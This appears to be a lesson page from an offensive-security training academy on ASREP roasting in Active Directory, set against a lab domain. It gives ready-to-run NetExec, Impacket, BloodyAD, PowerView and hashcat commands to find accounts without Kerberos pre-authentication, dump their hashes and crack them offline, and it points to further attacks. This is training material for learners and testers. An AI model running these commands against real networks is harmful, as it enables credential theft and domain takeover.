← Back to Academy

Academy Node

ASREP Roast

ASREP roasting abuses AD users with Kerberos pre-authentication disabled. You can request encrypted ASREP material and attempt to crack it offline.

Beginner100 XPKerberos

Why it matters

It is one of the fastest OSCP-style domain foothold paths when usernames are known.

How to identify it

  • Look for DONT_REQ_PREAUTH in LDAP, BloodHound, or BloodyAD.
  • Try GetNPUsers with a username list.
  • Check BloodHound for ASREP roastable users.

BloodHound indicators

  • User has DoesNotRequirePreAuth=true
  • ASREP roastable user finding

NetExec commands

nxc ldap 192.168.184.141 -d xutslabs.local -u users.txt -p '' --asreproast asrep_hashes.txt

Impacket commands

impacket-GetNPUsers xutslabs.local/ -usersfile users.txt -dc-ip 192.168.184.141 -no-pass -outputfile asrep_hashes.txt

BloodyAD commands

bloodyAD --host 192.168.184.141 -d xutslabs.local -u ba_low -p 'Password123' get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'

PowerView commands

Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname

Linux commands

hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force

Expected output

  • $krb5asrep$23$...
  • A cracked plaintext password

Success looks like

  • You crack the ASREP hash.
  • The password works against SMB, LDAP, MSSQL, or WinRM.

Failure looks like

  • No ASREP roastable users.
  • Hash does not crack.
  • Cracked password is stale or locked.

Troubleshooting

  • Sync Kali time with the DC.
  • Try -dc-ip directly.
  • Validate username list first.

Common mistakes

  • Forgetting domain format.
  • Using bad DNS.
  • Not trying the cracked password across multiple services.

Alternative attacks

  • Kerberoast
  • Password spray
  • SMB share hunting

What to try next

  • Validate creds with NetExec.
  • Check WinRM.
  • Run BloodHound collection.
  • Look for Kerberoast, DCSync, RBCD, or ADCS paths.

Recommended next lessons

Kerberoast

Kerberoasting targets domain users with SPNs. You request service tickets and crack them offline.

GenericWrite

GenericWrite means you can modify certain attributes on the target AD object.

GenericAll

GenericAll is effectively full control over the target AD object.

Resource-Based Constrained Delegation

RBCD lets a controlled machine account impersonate users to a target computer when msDS-AllowedToActOnBehalfOfOtherIdentity is writable.